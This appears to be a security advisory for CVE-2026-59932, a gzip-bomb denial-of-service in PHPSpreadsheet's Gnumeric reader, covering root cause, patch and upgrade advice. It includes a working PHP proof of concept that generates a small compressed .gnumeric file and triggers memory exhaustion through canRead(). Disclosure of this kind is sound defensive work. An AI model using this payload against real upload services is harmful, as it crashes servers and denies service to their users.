high · 7.5CVE-2026-59932Jul 23, 2026

CVE-2026-59932: PHPSpreadsheet Gnumeric Reader Gzip Bomb (DoS)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Uploading a tiny crafted .gnumeric file to any app using PHPSpreadsheet can crash the PHP worker by tricking the Gnumeric reader into expanding a gzip bomb with no size limit, exhausting server…

Packagephpoffice/phpspreadsheet
Ecosystemcomposer
Affected>= 4.0.0, <= 5.8.0
Fixed in5.8.1

The problem

The Gnumeric reader in PHPSpreadsheet calls gzfileGetContents() from canRead(), listWorksheetNames(), and load(). Inside that helper, file_get_contents() slurps the whole file into memory, then gzdecode() expands it with no cap on output size.

This means a ~95 KB compressed .gnumeric file can force ~96 MiB of allocation. Under a typical memory_limit=64M, PHP fatal-errors at Gnumeric.php:195 during canRead(), before any XML or structural check has run. Any upload pipeline that calls the Gnumeric reader, even just for type detection, is reachable.

Proof of concept

A working proof-of-concept for CVE-2026-59932 in phpoffice/phpspreadsheet, with the exact payload below.

php
<?php
// Step 1: generate the bomb (run once)
$prefix = '<?xml version="1.0"?><gnm:Workbook xmlns:gnm="http://www.gnumeric.org/v10.dtd">';
$suffix = '</gnm:Workbook>';
$payload = $prefix . str_repeat('A', 96 * 1024 * 1024) . $suffix;
$gz = gzencode($payload, 9);
file_put_contents('/tmp/bomb.gnumeric', $gz);
// compressed_size ~97811 bytes, expanded_size ~100663390 bytes

// Step 2: trigger (PHP fatal under memory_limit=64M)
require 'vendor/autoload.php';
$r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric();
$r->canRead('/tmp/bomb.gnumeric');
// PHP Fatal error: Allowed memory size of 67108864 bytes exhausted
// (tried to allocate 50291378 bytes) in Reader/Gnumeric.php on line 195

The root cause is unbounded decompression: gzdecode($contents) at Gnumeric.php:195 receives the entire compressed file and returns the full expanded string before any size check or XML validation occurs. CWE-409 (Improper Handling of Highly Compressed Data) and CWE-400 (Uncontrolled Resource Consumption) both apply.

The patch in 5.8.1 (commit 85f2556) adds a decompressed-size guard inside gzfileGetContents(), failing closed with a Reader\Exception when the expanded output exceeds a configured maximum, so the fatal OOM is never reached. The same bounded path is now shared by all four entry points (canRead, listWorksheetNames, listWorksheetInfo, load) so none of them can trigger unbounded expansion.

The fix

Upgrade phpoffice/phpspreadsheet to **5.8.1** or later. For older maintained branches, back-ported fixes are available in 1.30.6, 2.1.18, 2.4.7, and 3.10.7. There is no configuration-only workaround; the decompression limit is enforced in the library code itself.

If you cannot upgrade immediately, reject .gnumeric uploads at the application layer before they reach the reader.

Reported by sondt23.

References: [1][2][3][4][5][6]

Related research